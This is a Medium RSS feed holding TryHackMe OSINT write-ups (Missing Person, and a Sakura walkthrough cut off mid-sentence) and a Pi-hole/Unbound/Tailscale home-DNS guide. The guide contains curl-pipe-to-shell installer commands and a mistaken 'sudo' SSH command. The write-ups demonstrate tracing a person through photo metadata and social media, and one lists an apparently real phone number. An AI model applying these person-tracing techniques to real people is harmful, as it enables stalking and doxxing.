<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Atharva on Medium]]></title>
        <description><![CDATA[Stories by Atharva on Medium]]></description>
        <link>https://medium.com/@atharva39?source=rss-a80ecdafc4e3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4euqdMYTSjkkjvu7fm6TZg@2x.jpeg</url>
            <title>Stories by Atharva on Medium</title>
            <link>https://medium.com/@atharva39?source=rss-a80ecdafc4e3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 19:16:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@atharva39/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Missing Person Writeup (OSINT Investigation)]]></title>
            <link>https://atharva39.medium.com/tryhackme-missing-person-writeup-osint-investigation-179ab1ac7607?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/179ab1ac7607</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 12:24:27 GMT</pubDate>
            <atom:updated>2026-03-19T12:24:27.764Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*6LAheEmYDyENzE5O" /><figcaption>Missing Person Room Logo</figcaption></figure><p><strong>Room Link:</strong> <a href="https://tryhackme.com/room/missingperson">https://tryhackme.com/room/missingperson</a></p><p>In this challenge, we step into the role of an investigator tasked with tracing the steps of a missing person. A friend went on holiday in 2025 and hasn’t been heard from since. Using only a handful of images and cryptic clues, we apply OSINT (Open Source Intelligence) techniques to piece together their journey.</p><h3>Step 1: Initial Investigation</h3><p>The challenge provides a ZIP file as the initial clue. Once extracted, it reveals just two images, which becomes the foundation of our entire investigation.</p><p>Extracting the ZIP is straightforward:</p><pre>unzip &lt;filename&gt;.zip</pre><p>Inside you get two images. That’s it. Those two images carry the whole investigation.</p><h4>What is the commercial name of this circuit?</h4><p>At first glance, the image (MotoGP.jpg) clearly shows the word “PERTAMINA”, which already gives us a strong hint about the location.</p><p>However, the question specifically asks for the full commercial name of the circuit, not just what’s visible in the image. So we need to dig a bit deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*A65xkuP0tVShcT_D0ZDKzw.jpeg" /><figcaption>MotoGP.jpg</figcaption></figure><p>To get more precise information, I performed a reverse image search using Google Images. This technique helps us find visually similar images and often reveals additional context such as exact names, locations, or related articles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMV1nhBG31Sq-2j_fl9pdQ.png" /><figcaption>Reverse Image Search</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XT_3zE5MXmjiAgah2z1X5w.png" /><figcaption>Google Result Screenshot</figcaption></figure><p>The results returned multiple matching points to: <strong>Pertamina Mandalika International Street Circuit</strong>.</p><h4>When did the event take place?</h4><p>At this point, we know the location, but we still need to determine when the event took place.</p><p>Images often store metadata such as timestamps, device information, and more, this can be extracted using tools like <em>exiftool</em>.</p><p>To analyze the image I ran:</p><pre>exiftool MotoGP.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UVW6iH7gcNG64jD0GMLfpw.png" /></figure><p>From the output we can see the following field:</p><p>Date/Time Original: 2025:10:05 which tells us that the photo was snapped on <strong>5th October 2025</strong>.</p><p>However, the question asks for the <em>event duration</em>, not just a single date. Since this is a MotoGP event at Mandalika, I searched for the event schedule around this date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QQ7F2cp_cLxBIX5gYgobw.png" /><figcaption>MotoGP Schedule for 2025</figcaption></figure><p>The results show that the event took place from <strong>03–05/10/2025</strong>.</p><h3>Step 2: Restaurant Investigation</h3><p>The next clue mentions that he ate delicious Mexican food, so we shift our focus to identifying the restaurant.</p><h4>What is the name of the Mexican restaurant?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOT5MHffh4mFo4zjMZbd3g.jpeg" /><figcaption>food.jpg</figcaption></figure><p>Looking closely at the image, we can actually spot the name “<em>Cantina Mexicana</em>” written on the table. This gives us a strong hint, but just like before we shouldn&#39;t rely solely on what’s visible.</p><p>To confirm this, I performed a reverse image search on the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4C6erpB8zKpeHDX1onDoQ.png" /></figure><p>The search results point us to <em>Cantina Mexicana Kuta Lombok</em>.</p><p>From this we can confidently conclude that the restaurant is: <strong>Cantina Mexicana</strong>.</p><h4>At what time was this photo taken?</h4><p>To determine when the photo was taken, I checked the image metadata using <em>exiftool</em>.</p><pre>exiftool food.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WV1K74ibK7T8yUwHycMfIA.png" /></figure><p>From the output, the Date/Time Original field shows: <strong>19:55:30</strong>.</p><h3>Step 3: Tracing the After Party</h3><p>The final message gives us a crucial lead:</p><p>“Went to this cool MotoGP after party, and became friends with one of the local DJs who played that night. We’re going to visit a cave tomorrow.”</p><p>This suggests that he attended an event linked to the MotoGP weekend, likely at a nearby bar or venue. To track this down, I searched for MotoGP after parties in Lombok around the dates which lead me to an Instagram post featuring a party event: <a href="https://www.instagram.com/reel/DOcVqWAEznb/">https://www.instagram.com/reel/DOcVqWAEznb/</a></p><p>This post revealed the name of the venue: <strong>Surfers Bar</strong></p><p>To get more details, I searched for the location of this bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yYzvBqtu7FV_lA3W5lS-A.png" /></figure><p>From the listing, we can extract the full address: <strong>Jl. Raya Kuta, Kuta, Kec. Pujut, Kabupaten Lombok Tengah, Nusa Tenggara Bar</strong>.</p><h4>What is the DJ’s stage name?</h4><p>The Instagram post from the after-party also reveals the name of the DJ who performed that night.</p><p>From the post, we can identify the DJ’s stage name: <strong>Bong Leleh</strong>.</p><h3>Step 4: Identifying the Cave</h3><p>The message mentions that they planned to visit a cave the next day, which gives us a geographical clue.</p><h4>What cave does he take tourists to?</h4><p>Since we already know the location of the bar, a logical next step is to look for tourist attractions nearby, specifically caves. I searched for caves around the Kuta Lombok area and reviewed the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9scRDHFIyUy99UmEgMBqqw.png" /></figure><p>Given the proximity and relevance as a tourist spot, one name stood out: <strong>Gua Sumur</strong>.</p><h3>Step 5: Finding the Contact Number</h3><p>To find the contact number, I used the DJ’s stage name as a pivot point for further investigation.</p><p>I searched for the name on Facebook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFWCzi4CYTXcsrdXZ9P8Ew.png" /></figure><p>This led me to a Facebook page associated with <strong>Gua Sumur Lombak</strong>, which appears to be linked to the same individual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Li2S6cfaA2mU4VYN2ZnbQ.png" /></figure><p>On the page, the contact number is listed as <em>+62 853–3313–7345</em></p><p>Removing the country code as required gives us the answer: <strong>085333137345</strong>.</p><h3>Conclusion</h3><p>This room highlights how OSINT techniques can be used to piece together information from limited data sources. By combining image analysis, metadata extraction, and social media investigation, we were able to reconstruct the subject’s journey step by step.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=179ab1ac7607" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-Hosting DNS: Pi-hole, Unbound, and Tailscale]]></title>
            <link>https://atharva39.medium.com/self-hosting-dns-pi-hole-unbound-and-tailscale-fafcb2625783?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/fafcb2625783</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[self-hosting]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Wed, 04 Mar 2026 09:10:14 GMT</pubDate>
            <atom:updated>2026-03-04T09:10:14.265Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A complete, self-hosted DNS solution built on Raspberry Pi: Pi-hole + Unbound for ultimate privacy, secured by Tailscale VPN.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9NNqn1SttAcZikmYJe2UQA.png" /><figcaption>Raspberry Pi Zero 2W</figcaption></figure><h3>Why I Decided to Take Control of My DNS</h3><p>A few months ago, I started thinking about something most people never question: every website I visit begins with a DNS request, and by default, that request is handled either by my ISP or a public DNS provider like Google or Cloudflare. That means someone else sits at the very first checkpoint of every connection I make. Even if these providers claim not to log or monetize data, I’m still placing trust in a third party to handle a detailed record of my browsing habits.</p><p>The real turning point came when I discovered that my ISP uses CGNAT (Carrier-Grade NAT). While I technically have internet access through a public IP, it’s shared with many other users and sits behind another layer of NAT controlled by my ISP. I can’t open ports, I can’t host services normally, and traditional self-hosted VPN setups simply don’t work. At that point, this stopped being just about blocking ads or improving privacy. It became about control. I wanted to own my DNS resolution process, reduce external trust, and build a setup that works even within the limitations of CGNAT. This project is how I did exactly that.</p><h3>The Goal — What I Wanted to Achieve</h3><p>Before touching any configuration files, I defined exactly what I wanted this setup to accomplish:</p><ul><li><strong>Privacy:</strong> Reduce reliance on third-party DNS providers and prevent my ISP from having visibility into my DNS queries.</li><li><strong>Security:</strong> Block ads, trackers, and known malicious domains at the network level, protecting every device — including smart TVs and IoT devices that can’t run ad blockers.</li><li><strong>Control:</strong> Own the entire DNS resolution process, from the client request all the way to the internet’s root servers.</li><li><strong>Access:</strong> Securely access and manage my network from anywhere, even while operating behind CGNAT, without exposing ports to the public internet.</li></ul><h3>The Stack — Choosing the Right Tools</h3><p>To achieve these goals, I selected a powerful stack of open-source software, all running on humble but capable <strong>Raspberry Pi Zero 2W</strong>.</p><h4>Pi-hole: The Network Gatekeeper</h4><p>At it’s core, Pi-hole is simply a DNS filter for your entire network. But that sentence doesn’t mean much unless you understand what DNS is actually doing.</p><p>Every time you visit a website, your device first needs to figure out where that site lives on the internet. You type nytimes.com, but your computer doesn’t know what that is. So it asks a DNS server: “Where is nytimes.com?” The DNS server responds with an IP address like 151.101.65.164, and only then does your browser know where to connect.</p><p>Normally, your router forwards those DNS questions to your ISP’s servers, or maybe you’ve manually set them to Google or Cloudflare. Either way, someone else is answering every single domain lookup your devices make.</p><p>Pi-hole steps in and says, “I’ll handle that.”</p><p>Now here’s where it gets interesting.</p><p>Open a typical news website. It looks like one simple page, but under the hood it’s a small ecosystem. That one page might load:</p><ul><li>The main article content</li><li>Multiple ads from different ad networks</li><li>Analytics scripts tracking interactions</li><li>Third-party comment systems</li><li>“Recommended content” widgets from entirely separate domains</li></ul><p>Each of those components requires its own DNS lookup. Your device quietly asks for the IP address of every domain involved.</p><p>With Pi-hole in place, the process changes.</p><p>Your laptop requests nytimes.com → Pi-hole checks its blocklists → allowed → returns the correct IP.</p><p>The same page tries to load tracker.doubleclick.net → Pi-hole checks → it’s on the blocklist → returns 0.0.0.0 (effectively “nowhere”).</p><p>Then analytics.facebook.com → also blocked.</p><p>The blocked domains just… don’t go anywhere. They never resolve to an IP, so your device never connects. The ads and trackers fail silently.</p><p>The beautiful part? This happens at the <strong>network level</strong>, not in your browser. That means:</p><ul><li>Your phone is protected, even in apps</li><li>Your smart TV stops phoning home (seriously, check what those things do)</li><li>Your roommate’s Windows laptop gets filtered automatically</li><li>Even that weird IoT plug you bought on a whim is covered</li></ul><p>If it uses DNS — and almost everything does — it goes through Pi-hole.</p><p>So it’s not just an ad blocker. It’s more like… DNS with opinions. Strong ones.</p><h4>Unbound — Running Your Own Recursive Resolver</h4><p>Most people who set up Pi-hole stop at the first milestone. They install it, point it to Cloudflare’s 1.1.1.1 or Google’s 8.8.8.8, see ads disappear, and call it done.</p><p>And to be fair — that’s already an improvement. You’ve reduced ISP-level visibility and cleaned up your browsing experience.</p><p>But there’s an uncomfortable detail hiding underneath that setup.</p><p>You haven’t removed third-party trust. You’ve just reassigned it.</p><p>Instead of your ISP seeing your DNS queries, now Cloudflare does. Or Google. Or whichever public resolver you selected. Your entire browsing pattern still flows through a centralized provider, just a different one.</p><p>Instead of forwarding queries to a public DNS service, Unbound performs full recursive resolution locally. When you type google.com, your system doesn’t ask Cloudflare anymore. It asks Unbound, running right there on your Raspberry Pi.</p><p>Here’s what actually happens.</p><p>In a typical setup (even with Pi-hole):</p><p><em>Your laptop → Pi-hole → Public DNS (e.g., Cloudflare) → Response → Back to you.</em></p><p>The public resolver sees the entire query and handles the recursion on your behalf.</p><p>With Unbound in place:</p><p><em>Your laptop → Pi-hole → Unbound (local recursive resolver)</em></p><p>Unbound then performs the resolution step by step:</p><ul><li>It queries a root server to find out which servers handle .com.</li><li>It queries the .com nameservers to find who is authoritative for google.com.</li><li>It queries Google’s authoritative nameservers for the final IP address.</li><li>It validates the response using DNSSEC, which verifies the cryptographic chain of trust to ensure the answer hasn’t been tampered with.</li><li>It returns the answer to Pi-hole, which returns it to your device.</li></ul><p>The key difference is this: you’re no longer outsourcing the recursive process to a centralized public DNS provider. Your system performs the resolution itself.</p><p>To be clear, the queries still travel across the internet — they have to. Unbound still communicates with root servers, TLD servers, and authoritative nameservers to retrieve the answer. But what changes is <em>who</em> performs that recursion. Instead of a single public resolver aggregating and handling all your DNS activity, your own resolver follows the DNS hierarchy directly.</p><p>That architectural shift is subtle, but important.</p><p>You’re no longer handing over your entire browsing pattern to one centralized DNS operator. Each query is resolved through the distributed DNS system as it was originally designed to work.</p><p>And yes, even those late-night searches still traverse the internet, but they’re no longer handed to a centralized public resolver that sees your complete DNS history.</p><h4>Tailscale — Secure Access Without Port Forwarding</h4><p>Now back to the CGNAT problem.</p><p>Because my ISP uses CGNAT, I don’t have a directly accessible public IP address. That means traditional solutions, like forwarding a port to host a VPN server, simply aren’t practical. The router can’t expose something that isn’t directly routable in the first place.</p><p>Tailscale solves this in a much cleaner way.</p><p>At a high level, it creates a secure, encrypted connection between your devices, no matter where they are. You install it on your Raspberry Pi and on your phone or laptop, authenticate both devices, and they become part of the same private network. From that point on, your phone on public Wi-Fi can securely reach your Pi at home as if they were sitting on the same LAN.</p><p>Under the hood, Tailscale uses WireGuard for encryption and handles NAT traversal automatically. Instead of you configuring port forwarding or firewall rules, it establishes peer-to-peer connections wherever possible and relays traffic securely when necessary.</p><p>The result is simple but powerful: I can access my Pi-hole dashboard, manage my DNS setup, or troubleshoot issues remotely — without exposing any services to the public internet.</p><p>I tried anyway. Spent more time than I’d like to admit inside my router’s admin panel before accepting that the problem wasn’t my configuration — it was the architecture.</p><p>Tailscale solves this in a much cleaner way.</p><p>At a high level, it creates a secure, encrypted connection between your devices, no matter where they are. You install it on your Raspberry Pi and on your phone or laptop, authenticate both devices, and they become part of the same private network. From that point on, your phone on public Wi-Fi can securely reach your Pi at home as if they were sitting on the same LAN.</p><p>Under the hood, Tailscale uses WireGuard for encryption and handles NAT traversal automatically. Instead of you configuring port forwarding or firewall rules, it establishes peer-to-peer connections wherever possible and relays traffic securely when necessary.</p><p>The result is simple but powerful: I can access my Pi-hole dashboard, manage my DNS setup, or troubleshoot issues remotely — without exposing any services to the public internet.</p><h3>How I Built the Stack (Step by Step)</h3><h4>What You’ll Need</h4><ul><li>A Raspberry Pi (any recent model works — the Zero 2W is more than enough)</li><li>A microSD card (8GB minimum recommended)</li><li>About an hour of setup time</li><li>Basic comfort with the command line</li></ul><h4>Step 1 — Install Raspberry Pi OS (Using Raspberry Pi Imager)</h4><p>To begin, download and install <strong>Raspberry Pi Imager</strong> for your operating system (I’m using Windows, but the steps are similar on macOS and Linux).</p><p>Once installed:</p><ol><li>Insert your microSD card into an SD card adapter and connect it to your laptop.</li><li>Open Raspberry Pi Imager.</li><li>Click <strong>Choose Device</strong> and select your Raspberry Pi model (in my case, Raspberry Pi Zero 2W).</li><li>Click <strong>Choose OS</strong> and select <strong>Raspberry Pi OS Lite (64-bit)</strong>. The Lite version is perfect since we don’t need a desktop environment.</li><li>Click <strong>Choose Storage</strong> and select your mounted SD card.</li></ol><p>Before clicking Write, configure the advanced settings:</p><ul><li>Set your hostname (for example: pihole or dns-server)</li><li>Configure your time zone</li><li>Set a custom username and password (avoid default credentials)</li><li>Enter your Wi-Fi SSID and password (if not using Ethernet)</li><li>Enable SSH</li><li>Choose password authentication or public key authentication, depending on your familiarity with SSH</li></ul><p>Once everything looks correct, click <strong>Write</strong>.</p><p>Once flashing completes, safely eject the SD card.</p><h4>Step 2 — Boot the Pi and Connect via SSH</h4><p>Insert the SD card into your Raspberry Pi and power it on.</p><p>Wait about a minute for it to boot.</p><p>Now you need its IP address.</p><p>Log into your router’s admin panel and check the <strong>DHCP client list</strong>. You should see your Raspberry Pi listed with the hostname you configured.</p><p>Once you have the IP, SSH into it:</p><pre>sudo &lt;username&gt;@pi-hole-ip-address</pre><p>If prompted about authenticity, type yes.</p><h4>Step 3 — Update the System</h4><p>Always start with updates so that you have a clean, updated base system:</p><pre>sudo apt update &amp;&amp; sudo apt upgrade -y</pre><h4>Step 4 — Reserve a Static IP (Using Router DHCP Reservation)</h4><p>For a DNS server, a stable IP address is mandatory. If the IP changes, your entire network loses name resolution.</p><p>Instead of manually configuring a static IP on the Raspberry Pi, I chose to create a <strong>DHCP reservation</strong> on my router. This approach keeps IP management centralized and avoids potential subnet misconfigurations.</p><p>Here’s how it works:</p><ol><li>Log in to your router’s admin panel.</li><li>Navigate to the <strong>DHCP settings</strong> or <strong>LAN settings</strong> section.</li><li>Find your Raspberry Pi in the DHCP client list (you should see it by hostname).</li><li>Select “Reserve” or “Bind IP to MAC address.”</li><li>Assign a fixed IP address (for example: 192.168.1.10).</li><li>Save the configuration.</li></ol><p>After saving, either:</p><ul><li>Reboot the Raspberry Pi, or</li><li>Renew its DHCP lease.</li></ul><p>Once it reconnects, it will always receive the same IP address from the router.</p><p>You can verify the assigned IP on the Pi:</p><pre>ip a</pre><p>From this point forward, your DNS server will always live at the same address, which is critical before installing Pi-hole.</p><h4>Step 5 — Install Pi-hole</h4><p>With the system updated and the IP address reserved, we can install Pi-hole.</p><p>Run the official installer:</p><pre>curl -sSL https://install.pi-hole.net | bash</pre><p>The installer will guide you through a few configuration prompts.</p><p>Here’s what matters:</p><ul><li><strong>Network Interface:</strong> Select the correct interface (usually eth0 for Ethernet or wlan0 for Wi-Fi).</li><li><strong>Upstream DNS Provider:</strong> You can temporarily choose any provider (e.g., Cloudflare). We’ll replace this with Unbound shortly.</li><li><strong>Blocklists:</strong> Keep the default list for now.</li><li><strong>Web Admin Interface:</strong> Enable it.</li><li><strong>Logging:</strong> Enable query logging (recommended for visibility).</li></ul><p>At the end of the installation, Pi-hole will display the web interface URL (usually http://&lt;your-pi-ip&gt;/admin) along with the generated admin password. Make sure to store this password securely. If you ever need to change it later, you can reset it with sudo pihole setpassword .</p><p>If the webpage loads successfully, Pi-hole is running correctly.</p><h4>Step 6 — Install Unbound (Recursive Resolver)</h4><p>Now we remove dependency on public DNS resolvers.</p><p>Install Unbound:</p><pre>sudo apt install unbound -y</pre><p>Create a configuration file specifically for Pi-hole:</p><pre>sudo nano /etc/unbound/unbound.conf.d/pi-hole.conf</pre><p>Paste the following configuration:</p><pre>server:<br>    # Listen only on localhost<br>    interface: 127.0.0.1<br>    port: 5335<br>    <br>    # Only let localhost query it<br>    access-control: 127.0.0.1 allow<br>    <br>    # Turn on DNSSEC (cryptographic verification of DNS responses)<br>    auto-trust-anchor-file: &quot;/var/lib/unbound/root.key&quot;<br>    <br>    # Make it faster with some caching tweaks<br>    prefetch: yes<br>    prefetch-key: yes</pre><p>Save and exit, then restart Unbound:</p><pre>sudo systemctl restart unbound</pre><h4><strong>Step 7: The Magic Configuration (Don’t Skip This)</strong></h4><p>This is where most guides fail. You need to tell Pi-hole to ONLY use Unbound.</p><p>Go to http://&lt;your-pi-ip&gt;/admin and log in.</p><ul><li>Click <strong>Settings</strong> → <strong>DNS</strong></li><li><strong>Uncheck EVERY box</strong> under “Upstream DNS Servers”</li><li>In “Custom 1 (IPv4)”, enter: 127.0.0.1#5335</li><li>Hit Save</li></ul><p>Now your Pi-hole forwards everything to Unbound on the same machine, which recursively resolves from the internet’s root servers. You are no longer using Google, Cloudflare, or any public DNS resolver.</p><h4>5. Installing Tailscale for Secure Remote Access</h4><p>Install Tailscale:</p><pre>curl -fsSL https://tailscale.com/install.sh | sh<br>sudo tailscale up</pre><p>When you run sudo tailscale up, a login URL will appear in your terminal. Open that URL in a browser and authenticate using your preferred account (Google, Microsoft, GitHub, etc.).</p><p>To securely expose the Pi-hole web interface over HTTPS through Tailscale, run:</p><pre>sudo tailscale serve --bg --https=443 http://127.0.0.1:80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*UtjVksfuUIC3dj8mkmMN9g.png" /><figcaption>Viewing Pi-hole Webpage Over Tailscale VPN</figcaption></figure><p>This command tells Tailscale to:</p><ul><li>Listen on HTTPS (port 443)</li><li>Forward traffic securely to the local Pi-hole web server</li><li>Automatically provision a valid TLS certificate for your Tailscale hostname</li></ul><p>After running this, you’ll receive a URL similar to:</p><pre>https://your-pi-hostname.your-tailnet.ts.net</pre><p>You can open this link from your phone (even on mobile data) or from any remote laptop that’s connected to your <strong>tailnet</strong>, and you’ll securely reach your Pi-hole dashboard.</p><h3>How Traffic Actually Flows (For the Curious)</h3><p>When you’re at home:</p><p><em>Your laptop → Pi-hole (filters requests) → Unbound (performs recursive lookup) → DNS hierarchy (root → TLD → authoritative servers) → Response</em></p><p>When you’re away from home:</p><p><em>Your phone (connected via Tailscale) → Encrypted tunnel → Your home Pi → Pi-hole → Unbound → DNS hierarchy → Response</em></p><p>The important detail is this: even when you’re remote, your DNS resolution still happens through your home infrastructure. From the internet’s perspective, those queries originate from your home network — not from a public DNS provider.</p><h3>What Changed? (The Good Stuff)</h3><p><strong>Controlling My Own DNS Resolution</strong></p><p>After setting everything up, I ran a DNS leak test on the website dnsleaktest.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*7x5OnRJPRMQTpZjOPU-Tgg.png" /><figcaption>DNS Leak Test</figcaption></figure><p><strong>Pages Load Cleaner (And Slightly Faster)</strong></p><p>It turns out that when you stop resolving ad networks, tracking domains, and telemetry endpoints, websites feel lighter.</p><p>My Pi-hole dashboard shows that about 29% of DNS queries are blocked. That represents thousands of domain requests; ads,trackers, and telemetry endpoints that never resolve or establish a connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cjz9IueIo5KIHuQnn_BTbw.png" /><figcaption>Pi-hole Dashboard</figcaption></figure><p><strong>Visibility Into What My Devices Are Actually Doing</strong></p><p>One unexpected benefit of running Pi-hole was visibility.</p><p>The dashboard logs every DNS query by device, which makes it easy to see exactly what’s happening inside your network. While reviewing the logs, I noticed my smart TV was contacting tracking and telemetry domains every few minutes in the background.</p><p>Now those requests still attempt to resolve, but Pi-hole blocks them at the DNS level. They simply don’t go anywhere.</p><p><strong>I Can Troubleshoot From Anywhere</strong></p><p>One unexpected benefit of this setup showed up while I was away from home. My roommate messaged me saying the Wi-Fi wasn’t working properly.</p><p>Normally, that would mean trying to explain over text how to reboot the router or just waiting until I got back.</p><p>Instead, I opened Tailscale on my laptop, connected to my home network, and SSH’d directly into the Raspberry Pi.</p><p>From there, I could check whether Pi-hole was running, verify Unbound was responding, test DNS resolution with dig, and review logs — all from a few hundred kilometers away.</p><p>It turned out to be a minor issue, but the important part was that I had full access to my infrastructure, securely, without exposing a single port to the public internet.</p><h3>What Went Wrong (Briefly)</h3><p>No project is complete without small mistakes.</p><p>At one point, a DNS leak test showed Cloudflare again. The issue wasn’t Pi-hole — it was my browser. DNS-over-HTTPS (DoH) was enabled, bypassing system DNS entirely. Disabling it fixed the problem and reminded me that modern applications sometimes override network settings.</p><p>Unbound also refused to start once due to a minor configuration typo. A single missing character caused the service to fail. Running unbound-checkconf before restarting the service is now part of my routine.</p><p>Finally, enabling HTTPS for remote access would normally require exposing port 80 for certificate validation — which isn’t possible behind CGNAT. Tailscale’s serve feature handled certificate provisioning automatically, solving the problem cleanly.</p><h3>What’s Next?</h3><p>This setup works well, but I’m not stopping here. Next on the list:</p><ul><li>Migrate the stack into a Proxmox environment, allowing better resource isolation, snapshots, and centralized management.</li><li>Deploy a secondary Pi-hole instance to eliminate the single point of failure and introduce DNS redundancy.</li><li>Implement VLAN-based network segmentation, isolating IoT devices and forcing their DNS traffic strictly through Pi-hole.</li><li>Add basic firewall hardening (UFW) on the Raspberry Pi to tighten inbound access and minimize exposure.</li></ul><h3>Resources &amp; References</h3><ul><li>Pi-hole: <a href="https://pi-hole.net/">https://pi-hole.net</a></li><li>Unbound Documentation: <a href="https://nlnetlabs.nl/projects/unbound/about">https://nlnetlabs.nl/projects/unbound/about</a></li><li>Tailscale: <a href="https://tailscale.com/">https://tailscale.com</a></li></ul><p>For a high-level overview of my setup, you can visit my GitHub repository:<br><a href="https://github.com/atharva39/RPi_Pihole_Project">https://github.com/atharva39/RPi_Pihole_Project</a></p><h3>Conclusion</h3><p>What started as a simple Pi-hole experiment turned into a small but solid piece of infrastructure. I now control how DNS is resolved on my network, I can inspect it when something breaks, and I no longer rely on a public resolver to handle everything for me.</p><p>Should you do this? If you’re curious about networking and want to understand what actually happens behind a DNS query, it’s a worthwhile project. It doesn’t require expensive hardware — just some time, patience, and maybe a cup of coffee.</p><p>If you’re building similar systems or experimenting with self-hosted infrastructure, I’d be happy to connect.</p><p>You can find me on <a href="https://www.linkedin.com/in/atharva39">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fafcb2625783" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Sakura Wakthrough]]></title>
            <link>https://atharva39.medium.com/tryhackme-sakura-wakthrough-0b555b7a62b1?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b555b7a62b1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 05:33:41 GMT</pubDate>
            <atom:updated>2025-09-01T05:33:41.548Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Sakura Wakthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*19ugkj_7nPtl80C9.png" /></figure><h3>Task 1: Getting Started</h3><p>The first step was simple — an introductory challenge to get things rolling.</p><p><strong>Answer:</strong> Let’s Go!</p><h3>Task 2: Finding the Attacker’s Username</h3><p>I first used <strong>ExifTool</strong> to extract metadata from the image and found a key detail in the <strong>export-filename</strong> field. It revealed the <strong>exact file path</strong> on the attacker’s system:</p><p>/home/SakuraSnowAngelAiko/Desktop/pwnedletter.png</p><p>From this, I uncovered the attacker’s username: <strong>SakuraSnowAngelAiko</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vQnHQzclg0CpC0x4nMkBQ.png" /></figure><p>To confirm this, I manually inspected the <strong>image file’s source code</strong> in a text editor and found the same file path. This double-check ensured the accuracy of the information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9v8BBEeEr9LEVttyBIAiHQ.png" /></figure><h3>Task 3: Finding the Attacker’s Email &amp; Real Name</h3><p>To find the attacker’s email, I first searched for their username on social media platforms and discovered a <strong>GitHub profile </strong>and <strong>X (Formerly Twitter) profile</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJ_o5uFG7B9e7mMVlLfZKQ.png" /></figure><p>While going through their repositories, most didn’t reveal much — until I found a <strong>PGP repository</strong>. That caught my attention, so I checked the README.md file and found a <strong>PGP key</strong>. Using an online <a href="https://cirw.in/gpg-decoder/">PGP key decoder</a>, I extracted the details and found the <strong>User ID Packet</strong>, which contained the attacker’s full email address: <strong>SakuraSnowAngel83@protonmail.com</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0LDwbtShxoMsH2aCTQmQQw.png" /></figure><p>Next, I needed to uncover their <strong>real name</strong>. Since we knew the attacker had an IT background from their GitHub activity, I searched for the username on LinkedIn. Among the many results, I found one that matched our profile, a person named <strong>Aiko Abe</strong>. By cross-referencing the GitHub and LinkedIn profiles, I was able to confirm the attacker’s full name.</p><h3>Task 4: Investigating Cryptocurrency Transactions</h3><p>To determine what cryptocurrency the attacker used, I searched through an <strong>ETH repository</strong> and found a reference to a <strong>cryptocurrency wallet</strong> linked to <strong>Ethereum</strong>. This confirmed that the attacker owned an <strong>Ethereum wallet</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCIw-ymnWqOxli5huKQyGw.png" /></figure><p>Next, I needed to find the attacker’s cryptocurrency wallet address. While going through the ETH repository, I 